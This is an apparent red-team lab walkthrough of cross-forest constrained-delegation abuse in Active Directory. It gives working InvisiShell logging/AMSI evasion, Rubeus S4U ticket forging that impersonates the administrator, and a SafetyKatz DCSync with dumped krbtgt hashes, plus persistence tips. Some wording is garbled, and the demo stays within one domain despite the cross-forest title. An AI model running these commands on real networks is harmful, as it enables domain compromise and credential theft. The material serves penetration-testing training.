Cross Forest Attacks - Constrained Delegation with Protocol Transition

When working with multi-forest Active Directory environments, constrained delegation with protocol transition does not function across forests by default. This is because Kerberos tickets issued in one forest are not inherently trusted by another forest unless a trust relationship is explicitly established. However, once a trust is in place, there are multiple ways we can abuse constrained delegation to escalate privileges and pivot laterally into a different forest.

Many organizations fail to properly monitor delegation settings, and security controls are often limited to the domain level rather than extending to cross-forest interactions. This creates an opportunity for us to exploit poorly secured delegation configurations in one forest and use them to compromise high-value assets in another.

Understanding Forest Trusts and Their Role in Delegation Abuse

In an Active Directory environment with multiple forests, trust relationships can be established to allow authentication between them. These trusts can be either:

  • External Trusts: A one-way or two-way non-transitive trust between two domains in different forests.
  • Forest Trusts: A one-way or two-way transitive trust that allows all domains in the trusting forest to access resources in the trusted forest.

For delegation to work across forests, there are two key conditions:

  1. The trust must be established with "Selective Authentication" disabled or explicitly configured to allow authentication.
  1. The Trusted-to forest must have an SPN that the delegating account in the Trusted-From forest can target.

This means that if we compromise an account with constrained delegation enabled in a trusted forest, we might be able to request service tickets for resources in the trusted domain, provided that the domain controllers allow it. The key to abusing this misconfiguration lies in manipulating Kerberos delegation and protocol transition.

How Constrained Delegation with Protocol Transition is Abused in Cross-Forest Scenarios

The standard constrained delegation attack relies on S4U2Self and S4U2Proxy requests. If we control a service account that has constrained delegation enabled, we can force it to obtain Kerberos tickets for other services on behalf of any user.

Now, when dealing with a multi-forest environment, the challenge is that a service ticket issued in one forest is not automatically trusted in another. However, when a forest trust exists, we can manipulate constrained delegation to request tickets for services in the trusted forest.

Attack Workflow: Exploiting Cross-Forest Constrained Delegation

If we gain control over a service account in the trusted forest, we can attempt to request Kerberos tickets for services in the trusting forest by leveraging constrained delegation. The steps typically involve:

  1. Compromising a Service Account in the Trusted Forest
    • We identify an account with constrained delegation enabled.
    • Using tools like BloodHound, we check the msDS-AllowedToDelegateTo attribute to see which services the account is allowed to delegate to.
    • If the account has access to critical services like CIFS, LDAP, or HTTP on a domain controller, we can proceed with our attack.
  1. Performing S4U2Self to Obtain a User Ticket
    • Using Rubeus, we request a Kerberos ticket for a target user on the compromised service account.
    • If protocol transition is enabled, we can request a ticket on behalf of any user without knowing their password or having their NTLM hash.
  1. Performing S4U2Proxy to Obtain a Cross-Forest Ticket
    • Once we have an S4U2Self ticket, we attempt to request a service ticket for a target system in the trusting forest.
    • If successful, we now have a Kerberos ticket that allows us to access services on the domain controller in the trusting forest.
  1. Performing DCSync Attack for Full Forest Compromise
    • If we obtained a ticket for LDAP or CIFS on a domain controller in the trusting forest, we can now attempt a DCSync attack.
    • Using Mimikatz, we extract all password hashes from the domain controller.
    • At this point, we have full control over the trusting forest and can pivot further.

Why This Attack Works and Common Misconfigurations That Enable It

The ability to abuse constrained delegation with protocol transition in a cross-forest scenario relies on several common misconfigurations:

  1. Selective Authentication is Not Enforced
    • If "Selective Authentication" is disabled in the forest trust, accounts in the trusted forest can authenticate to any resource in the trusting forest.
  1. Service Account Delegation is Not Properly Restricted
    • The msDS-AllowedToDelegateTo attribute allows delegation to critical services, such as CIFS, LDAP, or HTTP on domain controllers.
  1. No Monitoring for Kerberos Service Tickets
    • Organizations rarely monitor S4U2Self and S4U2Proxy requests, making it easy for attackers to generate forged tickets without detection.
  1. Overprivileged Service Accounts
    • If a service account has been granted unnecessary delegation rights, it becomes an easy target for attackers.

How We Can Maintain Persistence in a Cross-Forest Scenario

Once we gain access to a domain controller in the trusting forest, we need to ensure persistent access. There are several techniques we can use:

  1. Create a New Delegated Account
    • If we have domain admin access, we can create a new account and configure it with constrained delegation.
    • This allows us to re-establish access at any time.
  1. Golden Ticket Attack
    • If we extract the KRBTGT hash from the trusting forest, we can forge Kerberos tickets indefinitely.
  1. Modify the msDS-AllowedToDelegateTo Attribute
    • We can modify the msDS-AllowedToDelegateTo attribute to include additional high-value services.

Cross-forest constrained delegation attacks are a powerful way to move laterally in multi-forest environments. Since many organizations fail to properly secure delegation settings, we can often exploit these misconfigurations to escalate privileges across forest boundaries. By leveraging S4U2Self and S4U2Proxy requests, we can impersonate privileged users and request service tickets for high-value targets, such as domain controllers.

This attack becomes even more dangerous when combined with techniques like DCSync, Golden Ticket forging, and modifying delegation attributes. Once we establish a foothold in a trusted forest, we can expand our control to other forests, often without detection.

The key to success in these attacks lies in identifying weak delegation configurations, abusing Kerberos ticket manipulation, and ensuring persistence through misconfigured accounts. As red teamers, understanding how to exploit these weaknesses allows us to efficiently escalate privileges and demonstrate the risks of improper delegation settings in real-world environments.

Enumerating Constrained Delegation with ADModule

Let’s start our Constrained Delegation with ADModule by executing InvisiShell to bypass PowerShell security features like system-wide transcription, Script Block Logging, AMSI and Constrained Language Mode(CLM).

RunWithRegistryNonAdmin.bat

Image

After bypassing Powershell Security Features we can now import ADModule.

Import-Module Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll

Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1

Image

Now that we have imported our ADModule, we can use GetADObject to Enumerate Constrained Delegation in our target domain.

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo -Server eu.local

Image

As we can see above after our Constrained Delegation enumeration, it’s possible to see that user storagesvc service account contains flag msDS-AllowedToDelegateTo for Service Time on EU-DC.eu.local

Enumerating Constrained Delegation with PowerView

Let’s start our Constrained Delegation with ADModule by executing InvisiShell to bypass PowerShell security features like system-wide transcription, Script Block Logging, AMSI and Constrained Language Mode(CLM).

RunWithRegistryNonAdmin.bat

Image

After bypassing Powershell Security Features we can now import PowerView.

Import-Module .\PowerView.ps1

Get-DomainUser -TrustedToAuth -Domain eu.local

Image

As we can see above after our Constrained Delegation enumeration, it’s possible to see that user storagesvc service account contains flag msDS-AllowedToDelegateTo for Service Time on EU-DC.eu.local

Get-DomainComputer -TrustedToAuth -Domain eu.local

Image

We did not find any computer account with Constrained Delegation enabled.

Assuming that we were able to compromise this storagesvc service account already and we do have credentials for this service account. We can use either clear-text password or its hash. For Opsec purpose, We will be using the NTLM hash. We can Rubeus for key all it’s hashes.

We must should remember that we will be using Loader.exe to run Rubeus in the memory, so we need to encode our argument (hash) before we pass it when using Rubeus.

Image

Let’s now run Rubeus in memory using our .Net loader.

C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args %Pwn% /user:storagesvc /password:Qwerty@123 /domain:eu.local

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.1


[*] Action: Calculate Password Hash(es)

[*] Input password             : Qwerty@123
[*] Input username             : storagesvc
[*] Input domain               : eu.local
[*] Salt                       : EU.LOCALstoragesvc
[*]       rc4_hmac             : 5C76877A9C454CDED58807C20C20AEAC
[*]       aes128_cts_hmac_sha1 : 4A5DDDB19CD631AEE9971FB40A8195B8
[*]       aes256_cts_hmac_sha1 : 4A0D89D845868AE3DCAB270FE23BEDD442A62C4CAD7034E4C60BEDA3C0F65E04
[*]       des_cbc_md5          : 7F7C6ED00258DC57

Now that we do have the storagesvc NTLM hash, we will use Rubeus to perform an S4U attack (Service-for-User) by requesting any alternative service like LDAP for example impersonating the eu.local administrator.

ArgSplit.bat

Image

Let’s now run Rubeus in memory using our .Net loader.

C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args %Pwn% /user:storagesvc /rc4:5C76877A9C454CDED58807C20C20AEAC /impersonateuser:administrator /domain:eu.local /msdsspn:nmagent/eu-dc.eu.local /altservice:LDAP /dc:eu-dc.eu.local /ptt

We can double check if we were able to inject the into into our session using klist command.

klist

Image

Now we can use our SafetyKatz for the DCSync attack, but just before that, we should remember that we will be using Loader.exe to run SafetyKatz in the memory, so we need to encode our argument (lsadump::dcsync) before we pass it when using SafetyKatz.

Image

Let’s now run SafetyKatz in memory using our .Net loader.

C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SafetyKatz.exe -args "%Pwn% /user:eu\krbtgt /domain:eu.local" "exit"

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 7/12/2019 10:00:04 PM
Object Security ID   : S-1-5-21-3657428294-2017276338-1274645009-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 83ac1bab3e98ce6ed70c9d5841341538
    ntlm- 0: 83ac1bab3e98ce6ed70c9d5841341538
    lm  - 0: bcb73c3d2b4005e405ff7399f3ca2bf0

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : a0c1c86edafc0218a106426f2309bafd

* Primary:Kerberos-Newer-Keys *
    Default Salt : EU.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : b3b88f9288b08707eab6d561fefe286c178359bda4d9ed9ea5cb2bd28540075d
      aes128_hmac       (4096) : e2ef89cdbd94d396f63c9aa5b66e16c7
      des_cbc_md5       (4096) : 92371fe32c9ba208

* Primary:Kerberos *
    Default Salt : EU.LOCALkrbtgt
    Credentials
      des_cbc_md5       : 92371fe32c9ba208

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  bbd1d8cc9e5001a195c0aea8260dc460
    02  a8a12e010ecbfa9772ffbf94a0c53bbf
    03  5c4ea92171032c3655c6dab468555c1b
    04  bbd1d8cc9e5001a195c0aea8260dc460
    05  a8a12e010ecbfa9772ffbf94a0c53bbf
    06  b0ebda7d1fa949eef7f3618fb745e92d
    07  bbd1d8cc9e5001a195c0aea8260dc460
    08  4f1dd1dc8c185043ea5f588bced2e536
    09  4f1dd1dc8c185043ea5f588bced2e536
    10  388e53f1b4fc51f5f2a046e9a03d15f8
    11  7a7451acdbda7ca3ea2b9c29a5505805
    12  4f1dd1dc8c185043ea5f588bced2e536
    13  40fb8f21d6689dc78cfa977b8678fba0
    14  7a7451acdbda7ca3ea2b9c29a5505805
    15  8c35ff6c675fea1d7fa64405721aba20
    16  8c35ff6c675fea1d7fa64405721aba20
    17  63fb31e1ff838c848d1e0cbaed8c272e
    18  4e60cf1107bbc98e8fbb76499de1dd96
    19  035a4fe85f9cbe04af399507cd09d7eb
    20  6c0a58bf772f0ce23496ac5dc68672f7
    21  726b4122553e3a61b34c5e08ab04006e
    22  726b4122553e3a61b34c5e08ab04006e
    23  b65f6706fbb5f5e370b76c892cbf98dd
    24  2e16efd1ddfe850f2b8f47ccdd5501ff
    25  2e16efd1ddfe850f2b8f47ccdd5501ff
    26  2afde765ea5c02b1a282f63d9a88ab45
    27  756254f63a68f4f0cf34e82d11986474
    28  50ab58d5ae45dc5792e1dc9d5f6945a5
    29  1b252cf7a18c4e6fcceb388e0e2a0ef6


mimikatz(commandline) # exit

Here’s a table of services that can be forged for Kerberos tickets along with the native tools or protocols that rely on these services. This information is critical for targeting specific resources during post-exploitation:

Service (SPN)Purpose/ProtocolNative Tool/Access Method
HTTPWeb-based access, including WinRM/WinRSwinrs, PowerShell Remoting (WinRM)
HOSTGeneral host-based servicesWMI, SMB, Remote Service Management
CIFSFile sharing over SMBnet use, dir \\share\folder, File Explorer
RPCSSRemote Procedure Call servicesWMI, DCOM, RPC-based tools
MSSQLSvcMicrosoft SQL ServerSQL Management Studio, ODBC, SQLCMD
LDAPDirectory access over LDAPldapsearch, dsquery, AD enumeration tools
SMTPSVCSMTP service for mail serversSending emails via Exchange or SMTP relay
IMAPEmail access over IMAPEmail clients (e.g., Thunderbird, Outlook)
POP3Email access over POP3Email clients
FTPFile transfer over FTPftp client, FileZilla, command-line FTP
RDPRemote Desktop ProtocolMSTSC (Remote Desktop Connection)
WSMANWindows Remote Management (WinRM)PowerShell Remoting, Invoke-Command
TERMSRVTerminal ServicesRDP sessions, RemoteApp
DNSDomain Name SystemDNS queries, nslookup, DNS-based enumeration
SHELLRemote Shell ProtocolTelnet-like access
NFSNetwork File SystemMounting NFS shares
SMTPMail relay using SMTPSending email via SMTP

Explanation of Key Examples:

  1. WinRM/WinRS (Service: HTTP)
    • If we need to use winrs or Invoke-Command, we must forge a ticket for the HTTP service on the target machine.
  1. WMI (Services: HOST, RPCSS)
    • WMI uses HOST and RPCSS to manage remote processes and interact with the Windows Management Instrumentation service.
  1. SMB/Shared Drives (Service: CIFS)
    • Accessing file shares or interacting with net use requires a forged ticket for the CIFS service.
  1. SQL Server (Service: MSSQLSvc)
    • For accessing databases through SQLCMD or Management Studio, we need a ticket for the MSSQLSvc service.
  1. RDP (Service: TERMSRV)
    • Forging a ticket for TERMSRV allows Remote Desktop Protocol (RDP) sessions to the target.
  1. LDAP (Service: LDAP)
    • Any Active Directory enumeration over LDAP (e.g., ldapsearch) requires a ticket for LDAP.